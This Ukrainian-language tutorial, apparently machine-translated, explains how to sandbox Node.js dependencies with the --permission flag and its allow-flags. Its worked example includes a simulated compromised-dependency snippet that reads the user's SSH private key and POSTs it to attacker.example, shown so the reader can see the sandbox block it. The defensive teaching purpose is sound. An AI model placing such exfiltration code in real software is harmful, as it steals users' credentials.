Головна / Статті / Сандрбоксування папки node_modules за допомогою прапорців моделі дозволів Node.js

Сандрбоксування папки node_modules за допомогою прапорців моделі дозволів Node.js

Дізнайтеся, як прапорець --permission у Node.js за замовчуванням блокує доступ до файлової системи, мережі та процесів, як точно надати такий доступ та у чому полягають його обмеження.

2794 слів

Кожен запуск npm install є проявом довіри. Проєкт із десятьма прямими залежностями зазвичай має від 500 до 1 500 пакетів у директорії node_modules, і майже жоден з них не був прочитаний ніким із членів вашої команди. Модель дозволів Node.js дозволяє розпочати процес у режимі відмови за замовчуванням, тож компрометований пакет може отримати доступ лише до файлів, сокетів та процесів, які ви прямо дозволили. У цьому посібнику розглядається, як працюють перевірки, як їх увімкнути без пошкодження вашого додатку, та які прогалини залишаються навіть при правильній налаштованості всього.

Чому саме довіра є справжньою проблемою

За замовчуванням Node.js не робить різниці між кодом, написаним вашою командою, та кодом, опублікованим сторонньою особою у реєстрі. Усе, що завантажується в процес, успадковує повні привілеї користувача операційної системи, який його запускає. На практиці це означає, що будь-яка залежність може:

  • читати все, що може прочитати цей користувач, включаючи файли .env, приватні ключі SSH та облакові облікові дані, такі як ~/.aws/credentials;
  • створювати вихідні з’єднання та надсилати ці дані кудись ще;
  • запускати дочірні процеси та виконувати команди оболонки;
  • завантажувати нативні додатки .node, які є скомпільованим машинним кодом, який не можна обмежити правилами на рівні JavaScript.

Справжні інциденти саме так і використовували цю слабкість. Викрадений пакет event-stream містив шкідливий код, спрямований проти бібліотеки для кишень Bitcoin, пакет ua-parser-js був захоплений та знову опублікований із вірусом, а кілька черв’яків для крадіжки токенів поширилися через npm. Жоден з них не потребував складних методів експлуатації; їм достатньо було працювати всередині процесу, який повністю їм довіряв. Достатньо лише одного скомпрометованого облікового запису адміністратора на третьому рівні ієрархії. Якщо ви хочете детальніше дізнатися про те, як відбуваються ці атаки та заходи захисту з боку реєстру, перегляньте як працюють атаки на ланцюжок постачання npm.

Модель дозволів вирішує проблему на рівні виконання програми. Це підсистема типу «sandbox» на рівні процесу, яка діє за принципом добровільної участі та інвертує стандартну практику: нічого не дозволяється, поки ви це не схвалите.

Що таке модель дозволів та яке її стан

Ця функція обмежує доступ до певних ресурсів під час виконання програми. Як тільки флаг активується, процес втрачає доступ до файлової системи, мережі, дочірніх процесів, робочих потоків, нативних додатків, WASI та FFI, і може повернути кожну з цих можливостей лише за допомогою спеціального флага дозволу. Офіційна документація Node.js щодо дозволів є джерелом інформації про точну поведінку у вашій версії.

Ця функція швидко досягла зрілості:

  • Спочатку вона була включена як експериментальна функція у Node.js v20.0.0 у квітні 2023 року.
  • Починаючи з версій v23.5.0 та v22.13.0, вона маркована як Stability 2 (стабільна), тож це вже не експеримент, який потрібно приховувати за перемикачем функцій.
  • У наступних версіях ці правила ставали все суворішими. Згідно з узагальненням змін 2026 року, нові версії вимагають прямого дозволу для API файлової системи, пов’язаних із символічними посиланнями, перевірки прав доступу під час створення сокетів Unix-домену, а також надають більш точний контроль над змінними середовища за допомогою параметра --allow-env. Вважайте ці функції залежними від версії та підтверджуйте їхню наявність у документації до конкретної версії, яку ви використовуєте.
  • Практичний результат полягає у тому, що тепер ви можете покладатися на цей інструмент як на справжній захист від компрометації ланцюга постачання, а не просто як на цікавинку.

    Ментальна модель: брандмауер навколо власного процесу

    Мережевий брандмауер вирішує, які пакети можуть пройти. Модель дозволів робить те саме щодо доступу до ресурсів у межах одного процесу. Без неї fs.readFileSync() просто читає файл. З нею виклик спочатку проходить через контрольну точку, яка перевіряє, чи цей конкретний ресурс є у списку дозволених. Якщо так, нічого не змінюється. Якщо ні, виклик генерує помилку, і файл так і не відкривається.

    Важливою деталлю є місце розташування цієї контрольної точки. Вона реалізується всередині середовища виконання, у шарі зв’язку C++, а не в JavaScript. Зловмисний пакет не може її обійти, перезаписавши fs.readFileSync або загорнувши модуль, оскільки рішення приймається на рівні, недоступному звичайному JavaScript.

    Відстеження відхиленого виклику через середовище виконання

    Щоб зробити це менш абстрактним, простежімо, що відбувається, коли якийсь код у процесі намагається прочитати /etc/passwd:

    1. Ваш код або будь-який модуль, завантажений у той самий процес, викликає fs.readFileSync('/etc/passwd').
    2. Цей виклик потрапляє до внутрішнього зв’язку Node fs, який насправді взаємодіє з операційною системою.
    3. Перш ніж відбудеться будь-яка операція введення/виведення, цей зв’язок запитує модель дозволів, чи має процес право fs.read для саме цього шляху. Це те саме запитання, яке ви можете поставити собі за допомогою process.permission.has('fs.read', path).
    4. Якщо шлях дозволений, читання відбувається так, як завжди. Код із правильною поведінкою не помічає жодних відмінностей у роботі.
    5. Якщо шлях заборонений, Node кидає помилку, структура якої є послідовною та легкою для перевірки.

    Кинута помилка містить code, назву відсутнього дозволу та ресурс, про який було зроблено запит:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    Оскільки ERR_ACCESS_DENIED є стабільним кодом, ви можете його перехопити та свідомо на нього відреагувати, а бібліотеки, які враховують дозволи, можуть робити те саме замість того, щоб призвести до зупинки всього додатку.

    Увімкнення сандбоксу вперше

    Щоб увімкнути цю функцію, потрібно додати один прапорець перед файлом входу:

    node --permission index.js
    

    Очікуйте, що це одразу ж завершиться невдачею, навіть для порожнього скрипту:

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    Це застає багатьох зненацька, але це послідовно: завантаження index.js саме по собі є операцією читання з файлової системи, і операції читання заборонені, як і все інше. Не існує вбудованої виняткової ситуації для власного вихідного коду, що є корисним першим уроком про те, наскільки суворо працює ця система.

    Рішення полягає у дозволі на читання з каталогу проекту:

    node --permission --allow-fs-read=. index.js
    

    Тепер файл входу завантажується, але перший запит require() у пакеті зазнає невдачі, оскільки процес пошуку та завантаження модулів також здійснюється з диска. Зазвичай наступним кроком є пряме дозволення доступу до node_modules:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    Строго кажучи, ./node_modules вже знаходиться під ., тому другий флаг є зайвим у простій структурі. Його окреме вказування стає доцільним, коли ви згодом обмежуєте перший флаг чимось на кшталт ./src, або коли ваші залежності розміщені в іншому каталозі у монорепо.

    Поки ви ще вивчаєте, які шляхи використовує ваше додаток, можна дозволити всі операції з читанням та залишити всі інші функції заблокованими:

    node --permission --allow-fs-read=* index.js
    

    Уявіть собі замінник * як допоміжні колеса. Він прийнятний під час розробки або для сервісів, де читання файлів не є критично важливою частиною, але він дозволяє будь-яким залежностям отримати ваші конфіденційні дані, тому посиліть контроль перед випуском будь-чого, що працює з обліковими даними.

    Кожна захищена функція та прапорець для її активації

    Читання з файлової системи — це лише один із бар’єрів. Кожен клас ресурсу відповідає своєму прапорцю:

    • Читання з файлової системи: --allow-fs-read=<шлях>.
    • Запис у файлову систему: --allow-fs-write=<шлях>.
    • Доступ до мережі: --allow-net.
    • Дочірні процеси: --allow-child-process.
    • Робочі потоки: --allow-worker.
    • Нативні додатки: --allow-addons.
    • Інтерфейс системи WebAssembly: --allow-wasi.
  • Інтерфейс іноземних функцій: --allow-ffi.
  • Деякі з них поводяться так, що варто це зрозуміти перед їх використанням:

    • Два прапорці файлової системи приймають шлях та можуть використовуватися багаторазово, наприклад --allow-fs-read=./data --allow-fs-read=./config.
    • --allow-net не приймає аргументів. Це єдиний параметр, який охоплює вхідну та вихідну мережеву активність, включаючи сокети типу raw, http, https, fetch та сокети домену Unix.
    • --allow-child-process також впливає на те, як обмеження передаються дочірнім процесам. Процес, створений за допомогою child_process.fork(), автоматично отримує ваші флаги дозволів, тоді як child_process.spawn() передає їх через змінну середовища NODE_OPTIONS. У обох випадках дочірній процес залишається всередині піску, не виходячи з нього.
    • --allow-addons вимагає найбільшої обережності. Нативні додатки — це бібліотеки на мовах C або C++, скомпільовані та завантажені за допомогою dlopen; після завантаження вони виконуються поза двигуном JavaScript без подальших перевірок дозволів. Надання цього флага коду, якому ви не повністю довіряєте, надає цьому коду приблизно такі самі повноваження, як і без використання піску зовсім.

    Приклад роботи: завантажувач CSV та отруєна залежність

    Розгляньмо невеликий, але реалістичний скрипт. Він читає CSV-файл з диска, парсує його за допомогою стороннього пакета csv-parse та надсилає записи до API за допомогою axios, ще одного стороннього пакета:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    Якщо запустити просто node process-csv.js, все працює. Те саме може статися, якщо до невеликої версії csv-parse або одного з його залежностей буде додано прихований пейлоад. Наведений нижче фрагмент імітує вигляд такого пейлоаду: він читає приватний SSH-ключ користувача та надсилає його на хост, контрольований зловмисником.

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    Без сандбоксу цей скрипт працює безшумно, і ключ зникає ще до того, як хтось це помітить. Тепер запустімо той самий скрипт, надавши йому лише необхідні для роботи права — а саме можливість читання з проекту та його залежностей, а також доступ до мережі:

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    Справжня робота все одно вдається: скрипт читає ./data/input.csv, завантажує свої модулі та підключається до API. Однак надсилання даних зазнає невдачі вже тоді, коли досягає цього ключа:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir() вказує на місце за межами як ., так і ./node_modules, тому цей шлях не входить до списку дозволених, і процес витікання даних так і не доходить до створення з’єднання.

    Зверніть увагу, що тут не допомогло. Оскільки легітимний скрипт потребує параметра --allow-net, навантажений код все одно міг робити запити до мережі. Ключовим фактором, який врятував ситуацію, був вузький діапазон прав на читання. Та сама логіка попереджає про поширену помилку: якщо ви тримаєте файл .env у корені проекту та дозволяєте читання з ., кожна залежність також зможе прочитати цей файл. Тримайте конфіденційну інформацію поза діапазонами, доступними для читання, або вводьте її через механізм, який не вимагає доступу до файлової системи з боку процесу.

    Зупинка створення процесів

    Багато реальних навантажених кодів зовсім не виконують операцій читання файлів, а просто запускають оболонку для завантаження та виконання другої стадії. З активованим параметром --permission та відсутністю параметра --allow-child-process спроба провалюється ще до того, як будь-який процес почне працювати:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    Більшість коду додатків, такого як трансформація даних, виклики внутрішніх сервісів чи рендеринг шаблонів, не має причин створювати процеси. Якщо ніщо у вашій ієрархії залежностей не потребує функцій child_process законним чином, відмова від їх використання усуває цілу категорію атак без жодних витрат.

    Запит на дозвіл зсередини вашого коду

    Коли модель активна, Node надає доступ до process.permission, що дозволяє коду перевірити наявність певної можливості перед її використанням, замість того щоб покладатися на виникнення винятку. Ви можете перевіряти можливості загалом або обмежувати перевірку конкретним шляхом:

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    Умова if (process.permission) має велике значення, оскільки об’єкт існує лише тоді, коли процес запущений з параметром --permission. Для авторів бібліотек цей API є особливо корисним: пакет із необов’язковою телеметрією може перевірити process.permission.has('net') та безшумно вимкнути цю функцію у процесі, що працює в пісочниці, замість того щоб зупинити основне додатку.

    Включення пісочниці до процесу виконання проекту

    Введення довгого списку флагів вручну схильне до помилок, а пісочниця, яку хтось забув увімкнути, нічого не захищає. Найпростішим рішенням є включення цих флагів у скрипт start у файлі package.json:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    Щоб застосувати однакову політику до кожної скрипти npm, включаючи інструменти, запущені через npx, ви можете налаштувати прапорці один раз через NODE_OPTIONS. Пам’ятайте, що сам npm є програмою Node.js, тож він також працює під цими обмеженнями; саме тому в цьому прикладі використовується широкий параметр --allow-fs-read=*.

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    Для одноразового виклику npx передайте опції безпосередньо:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    Цей останній приклад ще раз показує, що нічому не можна довіряти автоматично. Щоб знайти та виконати інструмент, Node потребує прав на читання у тому місці, де фактично знаходиться пакет – чи то глобальний каталог node_modules, вказаний командою npm prefix -g, чи кеш npx. Навіть команді, яку ви навмисно запитали про виконання, потрібно надати доступ.

    Обмеження, які потрібно знати перед тим, як покладатися на цей механізм

    Модель дозволів є потужним інструментом, але вважати її повноцінним рішенням — ризиковано.

    Дозволи застосовуються до всього процесу, а не до окремих пакетів

    Це найважливіша умова для тих, хто хоче обмежити доступ до певних залежностей. Сандбокс створює межу між процесом Node.js та операційною системою. Він не може встановлювати правила на кшталт "left-pad не має доступу до мережі, тоді як axios — має." Усі модулі в процесі діляться одним набором дозволів, тому надання права <code>--allow-net

    Нативні додатки обходять усі обмеження після завантаження

    Після того, як надано дозвіл --allow-addons та завантажено нативний модуль, його скомпільований код виконується без подальших контролів. Сандбокс не має можливості бачити машинний код.

    Код контролю також може містити власні помилки

    Ці перевірки є звичайним кодом часу виконання та можуть бути неправильними. Вразливість, про яку повідомили у 2026 році та яка має ідентифікатор CVE-2026-58043, вплинула на логіку зіставлення шляхів: списки дозволених файлових систем зберігаються у дереві радиксу, і шляхи, які просто мали спільний префікс з дозволеним шляхом, могли отримувати доступ неправильним чином. Це дозволяло здійснювати читання або запис поза передбаченими межами. Версії, у яких виправлено цю проблему, — це 26.5.1, 24.18.1 та 22.23.2 для відповідних ліній розробки; офіційний список можна знайти у релізах Node.js щодо безпеки. Висновок полягає не у уникненні цієї функціональності, а у постійному оновленні вашого середовища виконання, адже навіть правильні налаштування у вразливій версії все одно залишають прогалини.

    Це обмежує збитки; воно не заважає встановленню

    Пісочниця обмежує радіус поширення уражень під час виконання зловмисного коду. Вона не запобігає його встановленню. Продовжуйте використовувати npm audit, встановлюйте пакети за допомогою npm ci, спираючись на збережений файл lockfile, а не на розмиті діапазони версій; уважно переглядайте нові транзитивні залежності перед оновленням, а також розгляньте можливість використання сервісів сканування залежностей, таких як Socket чи Snyk, разом із механізмами контролю під час виконання.

    Чек-лист для впровадження

    • Під час розробки почніть з параметра --permission --allow-fs-read=*, щоб бачити, які інші функції потрібні вашому додатку, не борючись із конкретними шляхами.
    • Перед випуском звузьте значення параметрів --allow-fs-read та --allow-fs-write до каталогів, які додаток дійсно використовує, таких як папки з даними, конфігурація та node_modules. Ніколи не дозволяйте доступ до вашої особистої папки чи каталогу /.
  • Надавайте прапорці можливостей, такі як мережевий зв’язок, дочірні процеси, роботи, додатки, WASI чи FFI, лише тоді, коли існує реальна потреба. Кожен пропущений прапорець закриває можливий шлях атаки.
  • Розглядайте потребу у параметрі --allow-addons як попереджувальний сигнал та перевіряйте залежності, які його вимагають.
  • Зберігайте конфіденційну інформацію поза будь-якими каталогами, які процес може читати.
  • Шифруйте прапорці у вашому скрипті запуску чи у параметрі NODE_OPTIONS, щоб ніхто не міг їх забути.
  • Використовуйте останню версію Node.js із виправленнями, адже шар контролю отримує виправлення безпеки, як і будь-яка інша частина середовища виконання.
  • Основні висновки

    Атаки на ланцюг постачання ефективні тому, що Node.js довіряє кожному пакету в ієрархії так само, як і вашому власному коду. Модель дозволів не скасовує цю довіру, оскільки код все одно виконується у вашому процесі, але перетворює необмежений радіус ураження на обмежений, визначений обраними флагами. Її ефективність залежить від того, наскільки строгими є ці флаги: вузькі обмеження файлової системи та відсутність флагів дозволів стримують більшість загроз, тоді як широкі вайлдкарти та --allow-addons мовчки скасовують цей захист. У поєднанні з виправленим середовищем виконання та належною обробкою залежностей це один із найдешевших заходів безпеки, які може використовувати сервіс на Node.js.